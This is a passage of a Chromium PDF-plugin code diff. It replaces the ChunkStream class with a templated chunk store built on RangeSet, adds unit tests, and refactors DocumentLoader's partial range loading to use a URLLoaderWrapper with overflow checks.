-
-bool ChunkStream::GetMissedRanges(
-    size_t offset,
-    size_t size,
-    std::vector<std::pair<size_t, size_t>>* ranges) const {
-  if (IsRangeAvailable(offset, size))
-    return false;
-
-  ranges->clear();
-  if (chunks_.empty()) {
-    ranges->push_back(std::pair<size_t, size_t>(offset, size));
-    return true;
-  }
-
-  auto start = GetStartChunk(offset);
-  auto end = chunks_.upper_bound(offset + size);
-  if (start == end) {  // No data in the current range available.
-    ranges->push_back(std::pair<size_t, size_t>(offset, size));
-    return true;
-  }
-
-  size_t cur_offset = offset;
-  for (auto it = start; it != end; ++it) {
-    if (cur_offset < it->first) {
-      size_t new_size = it->first - cur_offset;
-      ranges->push_back(std::pair<size_t, size_t>(cur_offset, new_size));
-      cur_offset = it->first + it->second;
-    } else if (cur_offset < it->first + it->second) {
-      cur_offset = it->first + it->second;
-    }
-  }
-
-  // Add last chunk.
-  if (cur_offset < offset + size) {
-    ranges->push_back(
-        std::pair<size_t, size_t>(cur_offset, offset + size - cur_offset));
-  }
-
-  return true;
-}
-
-bool ChunkStream::IsRangeAvailable(size_t offset, size_t size) const {
-  if (chunks_.empty())
-    return false;
-
-  if (std::numeric_limits<size_t>::max() - size < offset)
-    return false;
-
-  auto it = chunks_.upper_bound(offset);
-  if (it == chunks_.begin())
-    return false;  // No chunks includes offset byte.
-
-  --it;  // Now it starts equal or before offset.
-  return it->first + it->second >= offset + size;
-}
-
-size_t ChunkStream::GetFirstMissingByte() const {
-  if (chunks_.empty())
-    return 0;
-  auto begin = chunks_.begin();
-  return begin->first > 0 ? 0 : begin->second;
-}
-
-size_t ChunkStream::GetFirstMissingByteInInterval(size_t offset) const {
-  if (chunks_.empty())
-    return 0;
-  auto it = chunks_.upper_bound(offset);
-  if (it == chunks_.begin())
-    return 0;
-  --it;
-  return it->first + it->second;
-}
-
-size_t ChunkStream::GetLastMissingByteInInterval(size_t offset) const {
-  if (chunks_.empty())
-    return stream_size_ - 1;
-  auto it = chunks_.upper_bound(offset);
-  if (it == chunks_.end())
-    return stream_size_ - 1;
-  return it->first - 1;
-}
-
-std::map<size_t, size_t>::const_iterator ChunkStream::GetStartChunk(
-    size_t offset) const {
-  auto start = chunks_.upper_bound(offset);
-  if (start != chunks_.begin())
-    --start;  // start now points to the key equal or lower than offset.
-  if (start->first + start->second < offset)
-    ++start;  // start element is entirely before current chunk, skip it.
-  return start;
-}
-
-}  // namespace chrome_pdf
diff --git a/pdf/chunk_stream.h b/pdf/chunk_stream.h
index 762bc39..b8b3c83 100644
--- a/pdf/chunk_stream.h
+++ b/pdf/chunk_stream.h
@@ -6,50 +6,103 @@
 #define PDF_CHUNK_STREAM_H_
 
 #include <stddef.h>
+#include <string.h>
 
-#include <map>
-#include <utility>
+#include <algorithm>
+#include <array>
+#include <memory>
 #include <vector>
 
+#include "pdf/range_set.h"
+
 namespace chrome_pdf {
 
 // This class collects a chunks of data into one data stream. Client can check
 // if data in certain range is available, and get missing chunks of data.
+template <uint32_t N>
 class ChunkStream {
  public:
-  ChunkStream();
-  ~ChunkStream();
+  static constexpr uint32_t kChunkSize = N;
+  using ChunkData = typename std::array<unsigned char, N>;
 
-  void Clear();
+  ChunkStream() {}
+  ~ChunkStream() {}
 
-  void Preallocate(size_t stream_size);
-  size_t GetSize() const;
+  void SetChunkData(uint32_t chunk_index, std::unique_ptr<ChunkData> data) {
+    if (!data)
+      return;
+    if (chunk_index >= data_.size()) {
+      data_.resize(chunk_index + 1);
+    }
+    if (!data_[chunk_index]) {
+      ++filled_chunks_count_;
+    }
+    data_[chunk_index] = std::move(data);
+    filled_chunks_.Union(gfx::Range(chunk_index, chunk_index + 1));
+  }
 
-  bool WriteData(size_t offset, void* buffer, size_t size);
-  bool ReadData(size_t offset, size_t size, void* buffer) const;
+  bool ReadData(const gfx::Range& range, void* buffer) const {
+    if (!IsRangeAvailable(range)) {
+      return false;
+    }
+    unsigned char* data_buffer = static_cast<unsigned char*>(buffer);
+    uint32_t start = range.start();
+    while (start != range.end()) {
+      const uint32_t chunk_index = GetChunkIndex(start);
+      const uint32_t chunk_start = start % kChunkSize;
+      const uint32_t len =
+          std::min(kChunkSize - chunk_start, range.end() - start);
+      memcpy(data_buffer, data_[chunk_index]->data() + chunk_start, len);
+      data_buffer += len;
+      start += len;
+    }
+    return true;
+  }
 
-  // Returns vector of pairs where first is an offset, second is a size.
-  bool GetMissedRanges(size_t offset,
-                       size_t size,
-                       std::vector<std::pair<size_t, size_t>>* ranges) const;
-  bool IsRangeAvailable(size_t offset, size_t size) const;
-  size_t GetFirstMissingByte() const;
+  uint32_t GetChunkIndex(uint32_t offset) const { return offset / kChunkSize; }
 
-  // Finds the first byte of the missing byte interval that offset belongs to.
-  size_t GetFirstMissingByteInInterval(size_t offset) const;
-  // Returns the last byte of the missing byte interval that offset belongs to.
-  size_t GetLastMissingByteInInterval(size_t offset) const;
+  gfx::Range GetChunksRange(uint32_t offset, uint32_t size) const {
+    return gfx::Range(GetChunkIndex(offset),
+                      GetChunkIndex(offset + size + kChunkSize - 1));
+  }
+
+  bool IsRangeAvailable(const gfx::Range& range) const {
+    if (!range.IsValid() || range.is_reversed() ||
+        (eof_pos_ > 0 && eof_pos_ < range.end()))
+      return false;
+    if (range.is_empty())
+      return true;
+    const gfx::Range chunks_range(GetChunkIndex(range.start()),
+                                  GetChunkIndex(range.end() + kChunkSize - 1));
+    return filled_chunks_.Contains(chunks_range);
+  }
+
+  void set_eof_pos(uint32_t eof_pos) { eof_pos_ = eof_pos; }
+  uint32_t eof_pos() const { return eof_pos_; }
+
+  const RangeSet& filled_chunks() const { return filled_chunks_; }
+
+  bool IsComplete() const {
+    return eof_pos_ > 0 && IsRangeAvailable(gfx::Range(0, eof_pos_));
+  }
+
+  void Clear() {
+    data_.clear();
+    eof_pos_ = 0;
+    filled_chunks_.Clear();
+    filled_chunks_count_ = 0;
+  }
+
+  uint32_t filled_chunks_count() const { return filled_chunks_count_; }
+  uint32_t total_chunks_count() const {
+    return GetChunkIndex(eof_pos_ + kChunkSize - 1);
+  }
 
  private:
-  std::map<size_t, size_t>::const_iterator GetStartChunk(size_t offset) const;
-
-  std::vector<unsigned char> data_;
-
-  // Key: offset of the chunk.
-  // Value: size of the chunk.
-  std::map<size_t, size_t> chunks_;
-
-  size_t stream_size_;
+  std::vector<std::unique_ptr<ChunkData>> data_;
+  uint32_t eof_pos_ = 0;
+  RangeSet filled_chunks_;
+  uint32_t filled_chunks_count_ = 0;
 };
 
 };  // namespace chrome_pdf
diff --git a/pdf/chunk_stream_unittest.cc b/pdf/chunk_stream_unittest.cc
index af768502..a031da2 100644
--- a/pdf/chunk_stream_unittest.cc
+++ b/pdf/chunk_stream_unittest.cc
@@ -4,14 +4,96 @@
 
 #include "pdf/chunk_stream.h"
 
+#include <array>
+#include <memory>
+
+#include "base/memory/ptr_util.h"
 #include "testing/gtest/include/gtest/gtest.h"
 
 namespace chrome_pdf {
+namespace {
+typedef ChunkStream<10> TestChunkStream;
 
-TEST(ChunkStreamTest, Simple) {
-  ChunkStream stream;
-  stream.Preallocate(1000);
-  EXPECT_FALSE(stream.IsRangeAvailable(100, 500));
+std::unique_ptr<TestChunkStream::ChunkData> CreateChunkData() {
+  return base::MakeUnique<TestChunkStream::ChunkData>();
+}
+}  // namespace
+
+TEST(ChunkStreamTest, InRow) {
+  TestChunkStream stream;
+  EXPECT_FALSE(stream.IsComplete());
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 10)));
+  stream.SetChunkData(0, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 10)));
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 20)));
+  stream.SetChunkData(1, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 20)));
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 30)));
+  stream.SetChunkData(2, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 30)));
+  stream.set_eof_pos(25);
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 30)));
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 25)));
+  EXPECT_TRUE(stream.IsComplete());
 }
 
+TEST(ChunkStreamTest, InBackRow) {
+  TestChunkStream stream;
+  stream.set_eof_pos(25);
+  EXPECT_FALSE(stream.IsComplete());
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(20, 25)));
+  stream.SetChunkData(2, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(20, 25)));
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(10, 20)));
+  stream.SetChunkData(1, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(10, 20)));
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 10)));
+  stream.SetChunkData(0, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 10)));
+  EXPECT_TRUE(stream.IsComplete());
+}
+
+TEST(ChunkStreamTest, FillGap) {
+  TestChunkStream stream;
+  stream.set_eof_pos(25);
+  EXPECT_FALSE(stream.IsComplete());
+  stream.SetChunkData(0, CreateChunkData());
+  stream.SetChunkData(2, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 10)));
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(20, 25)));
+  EXPECT_FALSE(stream.IsRangeAvailable(gfx::Range(0, 25)));
+  stream.SetChunkData(1, CreateChunkData());
+  EXPECT_TRUE(stream.IsRangeAvailable(gfx::Range(0, 25)));
+  EXPECT_TRUE(stream.IsComplete());
+}
+
+TEST(ChunkStreamTest, Read) {
+  TestChunkStream stream;
+  stream.set_eof_pos(25);
+  const unsigned char start_value = 33;
+  unsigned char value = start_value;
+  auto chunk_0 = CreateChunkData();
+  for (auto& it : *chunk_0) {
+    it = ++value;
+  }
+  auto chunk_1 = CreateChunkData();
+  for (auto& it : *chunk_1) {
+    it = ++value;
+  }
+  auto chunk_2 = CreateChunkData();
+  for (auto& it : *chunk_2) {
+    it = ++value;
+  }
+  stream.SetChunkData(0, std::move(chunk_0));
+  stream.SetChunkData(2, std::move(chunk_2));
+  stream.SetChunkData(1, std::move(chunk_1));
+
+  std::array<unsigned char, 25> result_data;
+  EXPECT_TRUE(stream.ReadData(gfx::Range(0, 25), result_data.data()));
+
+  value = start_value;
+  for (const auto& it : result_data) {
+    EXPECT_EQ(++value, it);
+  }
+}
 }  // namespace chrome_pdf
diff --git a/pdf/document_loader.cc b/pdf/document_loader.cc
index b9728eeb..5ab99f26 100644
--- a/pdf/document_loader.cc
+++ b/pdf/document_loader.cc
@@ -7,69 +7,25 @@
 #include <stddef.h>
 #include <stdint.h>
 
+#include <algorithm>
+
 #include "base/logging.h"
+#include "base/memory/ptr_util.h"
+#include "base/numerics/safe_math.h"
 #include "base/strings/string_util.h"
-#include "net/http/http_util.h"
+#include "pdf/url_loader_wrapper.h"
 #include "ppapi/c/pp_errors.h"
-#include "ppapi/cpp/url_loader.h"
-#include "ppapi/cpp/url_request_info.h"
-#include "ppapi/cpp/url_response_info.h"
+#include "ui/gfx/range/range.h"
 
 namespace chrome_pdf {
 
 namespace {
 
-// If the headers have a byte-range response, writes the start and end
-// positions and returns true if at least the start position was parsed.
-// The end position will be set to 0 if it was not found or parsed from the
-// response.
-// Returns false if not even a start position could be parsed.
-bool GetByteRange(const std::string& headers, uint32_t* start, uint32_t* end) {
-  net::HttpUtil::HeadersIterator it(headers.begin(), headers.end(), "\n");
-  while (it.GetNext()) {
-    if (base::LowerCaseEqualsASCII(it.name(), "content-range")) {
-      std::string range = it.values().c_str();
-      if (base::StartsWith(range, "bytes",
-                           base::CompareCase::INSENSITIVE_ASCII)) {
-        range = range.substr(strlen("bytes"));
-        std::string::size_type pos = range.find('-');
-        std::string range_end;
-        if (pos != std::string::npos)
-          range_end = range.substr(pos + 1);
-        base::TrimWhitespaceASCII(range, base::TRIM_LEADING, &range);
-        base::TrimWhitespaceASCII(range_end, base::TRIM_LEADING, &range_end);
-        *start = atoi(range.c_str());
-        *end = atoi(range_end.c_str());
-        return true;
-      }
-    }
-  }
-  return false;
-}
-
-// If the headers have a multi-part response, returns the boundary name.
-// Otherwise returns an empty string.
-std::string GetMultiPartBoundary(const std::string& headers) {
-  net::HttpUtil::HeadersIterator it(headers.begin(), headers.end(), "\n");
-  while (it.GetNext()) {
-    if (!base::LowerCaseEqualsASCII(it.name(), "content-type"))
-      continue;
-
-    std::string type = base::ToLowerASCII(it.values());
-    if (!base::StartsWith(type, "multipart/", base::CompareCase::SENSITIVE))
-      continue;
-
-    static constexpr char kBoundary[] = "boundary=";
-    const char* boundary = strstr(type.c_str(), kBoundary);
-    if (!boundary) {
-      NOTREACHED();
-      return std::string();
-    }
-
-    return std::string(boundary + strlen(kBoundary));
-  }
-  return std::string();
-}
+// The distance from last received chunk, when we wait requesting data, using
+// current connection (like playing a cassette tape) and do not send new range
+// request (like rewind a cassette tape, and continue playing after).
+// Experimentally chosen value.
+const int kChunkCloseDistance = 10;
 
 // Return true if the HTTP response of |loader| is a successful one and loading
 // should continue. 4xx error indicate subsequent requests will fail too.
@@ -77,81 +33,55 @@
 // indicates a redirect was returned which won't be successful because we
 // disable following redirects for PDF loading (we assume they are already
 // resolved by the browser.
-bool ResponseStatusSuccess(const pp::URLLoader& loader) {
-  int32_t http_code = loader.GetResponseInfo().GetStatusCode();
+bool ResponseStatusSuccess(const URLLoaderWrapper* loader) {
+  int32_t http_code = loader->GetStatusCode();
   return (http_code < 400 && http_code != 301) || http_code >= 500;
 }
 
 bool IsValidContentType(const std::string& type) {
-  return base::EndsWith(type, "/pdf", base::CompareCase::INSENSITIVE_ASCII) ||
-         base::EndsWith(type, ".pdf", base::CompareCase::INSENSITIVE_ASCII) ||
-         base::EndsWith(type, "/x-pdf", base::CompareCase::INSENSITIVE_ASCII) ||
-         base::EndsWith(type, "/*", base::CompareCase::INSENSITIVE_ASCII) ||
-         base::EndsWith(type, "/acrobat",
-                        base::CompareCase::INSENSITIVE_ASCII) ||
-         base::EndsWith(type, "/unknown", base::CompareCase::INSENSITIVE_ASCII);
-}
-
-bool IsDoubleNewlines(const char* buffer, int index) {
-  DCHECK_GE(index, 2);
-  static constexpr char kLF2[] = "\n\n";
-  static constexpr char kCRLF2[] = "\r\n\r\n";
-  if (strncmp(&buffer[index - 2], kLF2, strlen(kLF2)) == 0)
-    return true;
-  return index >= 4 && strncmp(&buffer[index - 4], kCRLF2, strlen(kCRLF2)) == 0;
+  return (
+      base::EndsWith(type, "/pdf", base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, ".pdf", base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, "/x-pdf", base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, "/*", base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, "/octet-stream",
+                     base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, "/acrobat", base::CompareCase::INSENSITIVE_ASCII) ||
+      base::EndsWith(type, "/unknown", base::CompareCase::INSENSITIVE_ASCII));
 }
 
 }  // namespace
 
 DocumentLoader::Client::~Client() {}
 
-DocumentLoader::DocumentLoader(Client* client)
-    : client_(client),
-      partial_document_(false),
-      request_pending_(false),
-      current_pos_(0),
-      current_chunk_size_(0),
-      current_chunk_read_(0),
-      document_size_(0),
-      header_request_(true),
-      is_multipart_(false) {
-  loader_factory_.Initialize(this);
+DocumentLoader::Chunk::Chunk() {}
+
+DocumentLoader::Chunk::~Chunk() {}
+
+void DocumentLoader::Chunk::Clear() {
+  chunk_index = 0;
+  data_size = 0;
+  chunk_data.reset();
 }
 
+DocumentLoader::DocumentLoader(Client* client)
+    : client_(client), loader_factory_(this) {}
+
 DocumentLoader::~DocumentLoader() {}
 
-bool DocumentLoader::Init(const pp::URLLoader& loader,
-                          const std::string& url,
-                          const std::string& headers) {
+bool DocumentLoader::Init(std::unique_ptr<URLLoaderWrapper> loader,
+                          const std::string& url) {
   DCHECK(url_.empty());
+  DCHECK(!loader_);
 
   // Check that the initial response status is a valid one.
-  if (!ResponseStatusSuccess(loader))
+  if (!ResponseStatusSuccess(loader.get()))
     return false;
 
-  url_ = url;
-  loader_ = loader;
-
-  std::string response_headers;
-  if (!headers.empty()) {
-    response_headers = headers;
-  } else {
-    pp::URLResponseInfo response = loader_.GetResponseInfo();
-    pp::Var headers_var = response.GetHeaders();
-
-    if (headers_var.is_string()) {
-      response_headers = headers_var.AsString();
-    }
-  }
-
-  bool accept_ranges_bytes = false;
-  bool content_encoded = false;
-  uint32_t content_length = 0;
-  std::string type;
-  std::string disposition;
+  std::string type = loader->GetContentType();
 
   // This happens for PDFs not loaded from http(s) sources.
-  if (response_headers == "Content-Type: text/plain") {
+  if (type == "text/plain") {
     if (!base::StartsWith(url, "http://",
                           base::CompareCase::INSENSITIVE_ASCII) &&
         !base::StartsWith(url, "https://",
@@ -159,106 +89,85 @@
       type = "application/pdf";
     }
   }
-  if (type.empty() && !response_headers.empty()) {
-    net::HttpUtil::HeadersIterator it(response_headers.begin(),
-                                      response_headers.end(), "\n");
-    while (it.GetNext()) {
-      if (base::LowerCaseEqualsASCII(it.name(), "content-length")) {
-        content_length = atoi(it.values().c_str());
-      } else if (base::LowerCaseEqualsASCII(it.name(), "accept-ranges")) {
-        accept_ranges_bytes = base::LowerCaseEqualsASCII(it.values(), "bytes");
-      } else if (base::LowerCaseEqualsASCII(it.name(), "content-encoding")) {
-        content_encoded = true;
-      } else if (base::LowerCaseEqualsASCII(it.name(), "content-type")) {
-        type = it.values();
-        size_t semi_colon_pos = type.find(';');
-        if (semi_colon_pos != std::string::npos) {
-          type = type.substr(0, semi_colon_pos);
-        }
-        TrimWhitespaceASCII(type, base::TRIM_ALL, &type);
-      } else if (base::LowerCaseEqualsASCII(it.name(), "content-disposition")) {
-        disposition = it.values();
-      }
-    }
-  }
   if (!type.empty() && !IsValidContentType(type))
     return false;
-  if (base::StartsWith(disposition, "attachment",
+
+  if (base::StartsWith(loader->GetContentDisposition(), "attachment",
                        base::CompareCase::INSENSITIVE_ASCII))
     return false;
 
-  if (content_length > 0)
-    chunk_stream_.Preallocate(content_length);
+  url_ = url;
+  loader_ = std::move(loader);
 
-  document_size_ = content_length;
-  requests_count_ = 0;
-
-  // Enable partial loading only if file size is above the threshold.
-  // It will allow avoiding latency for multiple requests.
-  if (content_length > kMinFileSize && accept_ranges_bytes &&
-      !content_encoded) {
-    LoadPartialDocument();
-  } else {
-    LoadFullDocument();
+  if (!loader_->IsContentEncoded()) {
+    chunk_stream_.set_eof_pos(std::max(0, loader_->GetContentLength()));
   }
+  int64_t bytes_received = 0;
+  int64_t total_bytes_to_be_received = 0;
+  if (!chunk_stream_.eof_pos() &&
+      loader_->GetDownloadProgress(&bytes_received,
+                                   &total_bytes_to_be_received)) {
+    chunk_stream_.set_eof_pos(
+        std::max(0, static_cast<int>(total_bytes_to_be_received)));
+  }
+
+  SetPartialLoadingEnabled(
+      partial_loading_enabled_ &&
+      !base::StartsWith(url, "file://", base::CompareCase::INSENSITIVE_ASCII) &&
+      loader_->IsAcceptRangesBytes() && !loader_->IsContentEncoded() &&
+      GetDocumentSize());
+
+  ReadMore();
   return true;
 }
 
-void DocumentLoader::LoadPartialDocument() {
-  // The current request is a full request (not a range request) so it starts at
-  // 0 and ends at |document_size_|.
-  current_chunk_size_ = document_size_;
-  current_pos_ = 0;
-  current_request_offset_ = 0;
-  current_request_size_ = 0;
-  current_request_extended_size_ = document_size_;
-  request_pending_ = true;
-
-  partial_document_ = true;
-  header_request_ = true;
-  ReadMore();
-}
-
-void DocumentLoader::LoadFullDocument() {
-  partial_document_ = false;
-  chunk_buffer_.clear();
-  ReadMore();
-}
-
 bool DocumentLoader::IsDocumentComplete() const {
-  if (document_size_ == 0)  // Document size unknown.
-    return false;
-  return IsDataAvailable(0, document_size_);
+  return chunk_stream_.IsComplete();
 }
 
-uint32_t DocumentLoader::GetAvailableData() const {
-  if (document_size_ == 0)  // Document size unknown.
-    return current_pos_;
-
-  std::vector<std::pair<size_t, size_t>> ranges;
-  chunk_stream_.GetMissedRanges(0, document_size_, &ranges);
-  uint32_t available = document_size_;
-  for (const auto& range : ranges)
-    available -= range.second;
-  return available;
+uint32_t DocumentLoader::GetDocumentSize() const {
+  return chunk_stream_.eof_pos();
 }
 
 void DocumentLoader::ClearPendingRequests() {
-  pending_requests_.clear();
+  pending_requests_.Clear();
 }
 
 bool DocumentLoader::GetBlock(uint32_t position,
                               uint32_t size,
                               void* buf) const {
-  return chunk_stream_.ReadData(position, size, buf);
+  base::CheckedNumeric<uint32_t> addition_result = position;
+  addition_result += size;
+  if (!addition_result.IsValid())
+    return false;
+  return chunk_stream_.ReadData(
+      gfx::Range(position, addition_result.ValueOrDie()), buf);
 }
 
 bool DocumentLoader::IsDataAvailable(uint32_t position, uint32_t size) const {
-  return chunk_stream_.IsRangeAvailable(position, size);
+  base::CheckedNumeric<uint32_t> addition_result = position;
+  addition_result += size;
+  if (!addition_result.IsValid())
+    return false;
+  return chunk_stream_.IsRangeAvailable(
+      gfx::Range(position, addition_result.ValueOrDie()));
 }
 
 void DocumentLoader::RequestData(uint32_t position, uint32_t size) {
-  DCHECK(partial_document_);
+  if (!size || IsDataAvailable(position, size)) {
+    return;
+  }
+  {
+    // Check integer overflow.
+    base::CheckedNumeric<uint32_t> addition_result = position;
+    addition_result += size;
+    if (!addition_result.IsValid())
+      return;
+  }
+
+  if (GetDocumentSize() && (position + size > GetDocumentSize())) {
+    return;
+  }
 
   // We have some artefact request from
   // PDFiumEngine::OnDocumentComplete() -> FPDFAvail_IsPageAvail after
@@ -267,304 +176,225 @@
   // Bug: http://code.google.com/p/chromium/issues/detail?id=79996
   // Test url:
   // http://www.icann.org/en/correspondence/holtzman-to-jeffrey-02mar11-en.pdf
-  if (IsDocumentComplete())
+  if (!loader_)
     return;
 
-  pending_requests_.push_back(std::pair<size_t, size_t>(position, size));
-  DownloadPendingRequests();
-}
-
-void DocumentLoader::RemoveCompletedRanges() {
-  // Split every request that has been partially downloaded already into smaller
-  // requests.
-  std::vector<std::pair<size_t, size_t>> ranges;
-  auto it = pending_requests_.begin();
-  while (it != pending_requests_.end()) {
-    chunk_stream_.GetMissedRanges(it->first, it->second, &ranges);
-    pending_requests_.insert(it, ranges.begin(), ranges.end());
-    ranges.clear();
-    pending_requests_.erase(it++);
-  }
-}
-
-void DocumentLoader::DownloadPendingRequests() {
-  if (request_pending_)
-    return;
-
-  uint32_t pos;
-  uint32_t size;
-  if (pending_requests_.empty()) {
-    // If the document is not complete and we have no outstanding requests,
-    // download what's left for as long as no other request gets added to
-    // |pending_requests_|.
-    pos = chunk_stream_.GetFirstMissingByte();
-    if (pos >= document_size_) {
-      // We're done downloading the document.
-      return;
-    }
-    // Start with size 0, we'll set |current_request_extended_size_| to > 0.
-    // This way this request will get cancelled as soon as the renderer wants
-    // another portion of the document.
-    size = 0;
-  } else {
-    RemoveCompletedRanges();
-
-    pos = pending_requests_.front().first;
-    size = pending_requests_.front().second;
-    if (IsDataAvailable(pos, size)) {
-      ReadComplete();
-      return;
-    }
-  }
-
-  size_t last_byte_before = chunk_stream_.GetFirstMissingByteInInterval(pos);
-  if (size < kDefaultRequestSize) {
-    // Try to extend before pos, up to size |kDefaultRequestSize|.
-    if (pos + size - last_byte_before > kDefaultRequestSize) {
-      pos += size - kDefaultRequestSize;
-      size = kDefaultRequestSize;
-    } else {
-      size += pos - last_byte_before;
-      pos = last_byte_before;
-    }
-  }
-  if (pos - last_byte_before < kDefaultRequestSize) {
-    // Don't leave a gap smaller than |kDefaultRequestSize|.
-    size += pos - last_byte_before;
-    pos = last_byte_before;
-  }
-
-  current_request_offset_ = pos;
-  current_request_size_ = size;
-
-  // Extend the request until the next downloaded byte or the end of the
-  // document.
-  size_t last_missing_byte =
-      chunk_stream_.GetLastMissingByteInInterval(pos + size - 1);
-  current_request_extended_size_ = last_missing_byte - pos + 1;
-
-  request_pending_ = true;
-
-  // Start downloading first pending request.
-  loader_.Close();
-  loader_ = client_->CreateURLLoader();
-  pp::CompletionCallback callback =
-      loader_factory_.NewCallback(&DocumentLoader::DidOpen);
-  pp::URLRequestInfo request = GetRequest(pos, current_request_extended_size_);
-  requests_count_++;
-  int rv = loader_.Open(request, callback);
-  if (rv != PP_OK_COMPLETIONPENDING)
-    callback.Run(rv);
-}
-
-pp::URLRequestInfo DocumentLoader::GetRequest(uint32_t position,
-                                              uint32_t size) const {
-  pp::URLRequestInfo request(client_->GetPluginInstance());
-  request.SetURL(url_);
-  request.SetMethod("GET");
-  request.SetFollowRedirects(false);
-  request.SetCustomReferrerURL(url_);
-
-  const size_t kBufSize = 100;
-  char buf[kBufSize];
-  // According to rfc2616, byte range specifies position of the first and last
-  // bytes in the requested range inclusively. Therefore we should subtract 1
-  // from the position + size, to get index of the last byte that needs to be
-  // downloaded.
-  base::snprintf(buf, kBufSize, "Range: bytes=%d-%d", position,
-                 position + size - 1);
-  pp::Var header(buf);
-  request.SetHeaders(header);
-
-  return request;
-}
-
-void DocumentLoader::DidOpen(int32_t result) {
-  if (result != PP_OK) {
+  RangeSet requested_chunks(chunk_stream_.GetChunksRange(position, size));
+  requested_chunks.Subtract(chunk_stream_.filled_chunks());
+  if (requested_chunks.IsEmpty()) {
     NOTREACHED();
-    client_->OnDocumentFailed();
     return;
   }
+  pending_requests_.Union(requested_chunks);
+}
 
-  if (!ResponseStatusSuccess(loader_)) {
-    client_->OnDocumentFailed();
-    return;
+void DocumentLoader::SetPartialLoadingEnabled(bool enabled) {
+  partial_loading_enabled_ = enabled;
+  if (!enabled) {
+    is_partial_loader_active_ = false;
+  }
+}
+
+bool DocumentLoader::ShouldCancelLoading() const {
+  if (!loader_)
+    return true;
+  if (!partial_loading_enabled_ || pending_requests_.IsEmpty())
+    return false;
+  const gfx::Range current_range(chunk_.chunk_index,
+                                 chunk_.chunk_index + kChunkCloseDistance);
+  return !pending_requests_.Intersects(current_range);
+}
+
+void DocumentLoader::ContinueDownload() {
+  if (!ShouldCancelLoading())
+    return ReadMore();
+  DCHECK(partial_loading_enabled_);
+  DCHECK(!IsDocumentComplete());
+  DCHECK(GetDocumentSize());
+
+  const uint32_t range_start =
+      pending_requests_.IsEmpty() ? 0 : pending_requests_.First().start();
+  RangeSet candidates_for_request(
+      gfx::Range(range_start, chunk_stream_.total_chunks_count()));
+  candidates_for_request.Subtract(chunk_stream_.filled_chunks());
+  DCHECK(!candidates_for_request.IsEmpty());
+  gfx::Range next_request = candidates_for_request.First();
+  if (candidates_for_request.Size() == 1 &&
+      next_request.length() < kChunkCloseDistance) {
+    // We have only request at the end, try to enlarge it to improve back order
+    // reading.
+    const int additional_chunks_count =
+        kChunkCloseDistance - next_request.length();
+    int new_start = std::max(
+        0, static_cast<int>(next_request.start()) - additional_chunks_count);
+    candidates_for_request =
+        RangeSet(gfx::Range(new_start, next_request.end()));
+    candidates_for_request.Subtract(chunk_stream_.filled_chunks());
+    next_request = candidates_for_request.Last();
   }
 
-  is_multipart_ = false;
-  current_chunk_size_ = 0;
-  current_chunk_read_ = 0;
+  loader_.reset();
+  chunk_.Clear();
+  if (!is_partial_loader_active_) {
+    client_->CancelBrowserDownload();
+    is_partial_loader_active_ = true;
+  }
 
-  pp::Var headers_var = loader_.GetResponseInfo().GetHeaders();
-  std::string headers;
-  if (headers_var.is_string())
-    headers = headers_var.AsString();
+  const uint32_t start = next_request.start() * DataStream::kChunkSize;
+  const uint32_t length =
+      std::min(chunk_stream_.eof_pos() - start,
+               next_request.length() * DataStream::kChunkSize);
 
-  std::string boundary = GetMultiPartBoundary(headers);
-  if (!boundary.empty()) {
-    // Leave position untouched for now, when we read the data we'll get it.
-    is_multipart_ = true;
-    multipart_boundary_ = boundary;
-  } else {
+  loader_ = client_->CreateURLLoader();
+
+  loader_->OpenRange(
+      url_, url_, start, length,
+      loader_factory_.NewCallback(&DocumentLoader::DidOpenPartial));
+}
+
+void DocumentLoader::DidOpenPartial(int32_t result) {
+  if (result != PP_OK) {
+    return ReadComplete();
+  }
+
+  if (!ResponseStatusSuccess(loader_.get()))
+    return ReadComplete();
+
+  // Leave position untouched for multiparted responce for now, when we read the
+  // data we'll get it.
+  if (!loader_->IsMultipart()) {
     // Need to make sure that the server returned a byte-range, since it's
     // possible for a server to just ignore our byte-range request and just
     // return the entire document even if it supports byte-range requests.
     // i.e. sniff response to
     // http://www.act.org/compass/sample/pdf/geometry.pdf
-    current_pos_ = 0;
-    uint32_t start_pos;
-    uint32_t end_pos;
-    if (GetByteRange(headers, &start_pos, &end_pos)) {
-      current_pos_ = start_pos;
-      if (end_pos && end_pos > start_pos)
-        current_chunk_size_ = end_pos - start_pos + 1;
+    int start_pos = 0;
+    int end_pos = 0;
+    if (loader_->GetByteRange(&start_pos, &end_pos)) {
+      if (start_pos % DataStream::kChunkSize != 0) {
+        return ReadComplete();
+      }
+      DCHECK(!chunk_.chunk_data);
+      chunk_.chunk_index = chunk_stream_.GetChunkIndex(start_pos);
     } else {
-      partial_document_ = false;
+      SetPartialLoadingEnabled(false);
     }
+    return ContinueDownload();
   }
-
-  ReadMore();
+  // Needs more data to calc chunk index.
+  return ReadMore();
 }
 
 void DocumentLoader::ReadMore() {
-  pp::CompletionCallback callback =
-      loader_factory_.NewCallback(&DocumentLoader::DidRead);
-  int rv = loader_.ReadResponseBody(buffer_, sizeof(buffer_), callback);
